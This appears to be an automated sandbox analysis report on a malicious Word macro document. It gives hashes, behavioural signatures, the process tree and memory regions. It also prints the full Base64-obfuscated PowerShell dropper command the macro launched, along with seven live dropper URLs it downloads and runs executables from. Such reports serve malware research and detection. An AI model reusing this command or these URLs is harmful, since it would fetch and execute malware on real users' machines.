Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    20/08/2024, 05:22

General

  • Target

    ae0191256d01a82c549f0d9d8ac7eae7_JaffaCakes118.doc

  • Size

    216KB

  • MD5

    ae0191256d01a82c549f0d9d8ac7eae7

  • SHA1

    bbd90d93a710a234417d006ec2055ac1b325e19d

  • SHA256

    7aa7d38a55d5f7d01ee40a977a2df63d0cd4c938482a2fba3c73e1844405a0fc

  • SHA512

    2b85d7e68bc8ba5e906e3b8423ef5ae4b9096e2f2bd73f08408b5819ac887a7d232fd6e3011f9ed9a37d3f77f26c275541c1c68a0c7fc62d45ed7b0806a9ea91

  • SSDEEP

    1536:KB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ5J+a9iRQ3n7fxdSoNRQ:K22TWTogk079THcpOu5UZ33zBR5gvfR

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://fulfillmententertainment.com/cgi-bin/jO/

exe.dropper

http://meadtimes.com/wp-content/VZrDrTw/

exe.dropper

http://pinturasydecoracionluis.com/wp-admin/fK3/

exe.dropper

http://oconsign.com/cgi-bin/koLViD/

exe.dropper

http://umapreowned.com/wp-admin/XF7RBbs/

exe.dropper

http://kitecorp.ca/wp-includes/kEI98N/

exe.dropper

http://moneyii.com/website/ddeoUDo/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ae0191256d01a82c549f0d9d8ac7eae7_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:588
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABFAGQAcwBfAGcAOQBhAD0AKAAnAFIAJwArACcAegA3ACcAKwAoACcAcgAnACsAJwBmAGgAZAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBmAEkAbABFAFwARQA1AHUASABGADMARABcAGEAawB2AHkAMwBMAGwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBgAEkAYABUAFkAUAByAG8AYABUAGAATwBDAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIAJwArACcALAAgAHQAbABzACcAKwAnADEAMQAnACkAKwAoACcALAAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABTAGMAZgBmAHMANgBxACAAPQAgACgAJwBHADcAJwArACgAJwBxAGEAMgAnACsAJwBvACcAKQApADsAJABOADMAbwB3AGwANQBxAD0AKAAoACcASwAyACcAKwAnAHEAXwAnACkAKwAnAG8AJwArACcAbgByACcAKQA7ACQASAA2AHIAeAB2AG8AZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADYAJwArACcATQBPAEUAJwApACsAKAAnADUAdQAnACsAJwBoAGYAMwAnACsAJwBkACcAKQArACgAJwA2AE0AJwArACcATwBBACcAKwAnAGsAdgAnACkAKwAnAHkAMwAnACsAKAAnAGwAJwArACcAbAA2ACcAKQArACcATQBPACcAKQAuACIAUgBlAGAAcABMAGAAQQBjAGUAIgAoACgAWwBjAEgAQQByAF0ANQA0ACsAWwBjAEgAQQByAF0ANwA3ACsAWwBjAEgAQQByAF0ANwA5ACkALABbAHMAVABSAEkATgBHAF0AWwBjAEgAQQByAF0AOQAyACkAKQArACQAUwBjAGYAZgBzADYAcQArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAEcANABlAHQAcQA3AHcAPQAoACcAVgBoACcAKwAoACcAbwAnACsAJwBvADcAJwApACsAJwA2AGsAJwApADsAJABBADIAOQA0ADYAeAB1AD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBiAEMATABJAGUATgB0ADsAJABWADQAdQB3AHQAawBtAD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwAnACsAJwBmACcAKQArACcAdQAnACsAKAAnAGwAJwArACcAZgBpACcAKwAnAGwAbABtAGUAbgB0AGUAJwArACcAbgAnACkAKwAoACcAdABlAHIAdAAnACsAJwBhACcAKQArACcAaQBuACcAKwAoACcAbQBlACcAKwAnAG4AdAAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAoACcALwBjACcAKwAnAGcAJwApACsAJwBpAC0AJwArACcAYgAnACsAKAAnAGkAbgAvACcAKwAnAGoATwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAvACcAKQArACcALwAnACsAKAAnAG0AZQAnACsAJwBhACcAKwAnAGQAdABpAG0AZQBzAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACcAdAAvACcAKwAoACcAVgBaAHIAJwArACcARAByAFQAdwAnACkAKwAoACcALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKQArACcALwBwACcAKwAnAGkAbgAnACsAKAAnAHQAdQByAGEAcwB5ACcAKwAnAGQAZQAnACkAKwAoACcAYwBvAHIAYQAnACsAJwBjACcAKQArACcAaQAnACsAKAAnAG8AbgBsAHUAJwArACcAaQAnACkAKwAoACcAcwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBmAEsAJwApACsAKAAnADMAJwArACcALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdABwADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBvACcAKwAnAGMAbwAnACkAKwAnAG4AJwArACcAcwAnACsAJwBpAGcAJwArACgAJwBuAC4AJwArACcAYwBvAG0AJwArACcALwBjACcAKQArACcAZwBpACcAKwAnAC0AJwArACgAJwBiAGkAJwArACcAbgAnACkAKwAoACcALwBrAG8AJwArACcATABWACcAKQArACcAaQAnACsAJwBEAC8AJwArACgAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAHUAbQBhACcAKQArACgAJwBwAHIAZQAnACsAJwBvACcAKwAnAHcAbgAnACkAKwAoACcAZQBkAC4AYwBvACcAKwAnAG0AJwApACsAJwAvAHcAJwArACcAcAAnACsAKAAnAC0AJwArACcAYQBkACcAKQArACcAbQAnACsAJwBpAG4AJwArACcALwAnACsAKAAnAFgARgA3AFIAJwArACcAQgAnACkAKwAoACcAYgBzAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoALwAvAGsAJwApACsAJwBpACcAKwAoACcAdABlACcAKwAnAGMAbwByAHAAJwApACsAKAAnAC4AYwBhAC8AdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAbAAnACkAKwAoACcAdQBkACcAKwAnAGUAJwApACsAJwBzACcAKwAoACcALwAnACsAJwBrAEUASQAnACkAKwAoACcAOQA4ACcAKwAnAE4AJwArACcALwAqAGgAdAB0AHAAOgAnACkAKwAoACcALwAvAG0AbwBuAGUAJwArACcAeQAnACkAKwAnAGkAJwArACgAJwBpAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAdwAnACsAJwBlAGIAcwAnACkAKwAoACcAaQAnACsAJwB0AGUAJwApACsAKAAnAC8AZABkACcAKwAnAGUAbwAnACkAKwAoACcAVQBEACcAKwAnAG8AJwApACsAJwAvACcAKQAuACIAcwBgAFAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAG8AMABoADMAbAB6AD0AKAAoACcARgB3AHMAMQAnACsAJwB6ACcAKQArACcAaAB6ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAegBxAHgANgBsAHYAIABpAG4AIAAkAFYANAB1AHcAdABrAG0AKQB7AHQAcgB5AHsAJABBADIAOQA0ADYAeAB1AC4AIgBEAG8AYAB3AG4AbABvAEEAZABmAGAAaQBsAEUAIgAoACQAQQB6AHEAeAA2AGwAdgAsACAAJABIADYAcgB4AHYAbwBlACkAOwAkAFUAcgBoAGgAeAA2AGoAPQAoACcARQAnACsAJwByADQAJwArACgAJwBlACcAKwAnAHAAYgBoACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEgANgByAHgAdgBvAGUAKQAuACIATABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAzADAANgA0ADUAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQASAA2AHIAeAB2AG8AZQApADsAJABNAGcAXwBwAGoAdwA5AD0AKAAnAE0AawAnACsAKAAnADUAJwArACcAbwA4AGkAdwAnACkAKQA7AGIAcgBlAGEAawA7ACQAUAB3AHAAeQBjAG0AOQA9ACgAKAAnAEgAJwArACcAYgBsAHQAJwApACsAJwB1ACcAKwAnAGgAZwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAagBoAGEAMQBuAHQAPQAoACgAJwBIACcAKwAnAGQAZQAnACkAKwAoACcAdgBwACcAKwAnAGsAagAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2860

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      2622d181e7f08b8a7353402fe7ffe09d

      SHA1

      2a9f1f0585330101463708d3fe013a5ae8390f26

      SHA256

      688642f4b4d8611a437b7c7d6dc4e7eb88a1dfc95180614015f5d072cce2b06a

      SHA512

      093ffbb98e4aa53e948de119807092faf9a35b0cbdbf0532b2859bab4181967a57268a96354e9d5b686617d09190bd10a2ecd2be68b5f0ffddf0af83c2b9c001

    • memory/588-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-25-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-7-0x0000000006480000-0x0000000006580000-memory.dmp

      Filesize

      1024KB

    • memory/588-5-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-11-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-10-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-9-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-8-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-6-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-21-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-22-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-20-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-19-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-18-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-17-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-16-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-15-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-14-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-0-0x000000002FCC1000-0x000000002FCC2000-memory.dmp

      Filesize

      4KB

    • memory/588-2-0x000000007171D000-0x0000000071728000-memory.dmp

      Filesize

      44KB

    • memory/588-24-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-26-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-23-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-27-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-33-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-32-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-31-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-30-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-29-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-28-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-67-0x000000007171D000-0x0000000071728000-memory.dmp

      Filesize

      44KB

    • memory/588-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/588-45-0x000000007171D000-0x0000000071728000-memory.dmp

      Filesize

      44KB

    • memory/588-46-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-47-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-48-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-50-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/588-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2860-40-0x0000000002000000-0x0000000002008000-memory.dmp

      Filesize

      32KB

    • memory/2860-39-0x000000001B780000-0x000000001BA62000-memory.dmp

      Filesize

      2.9MB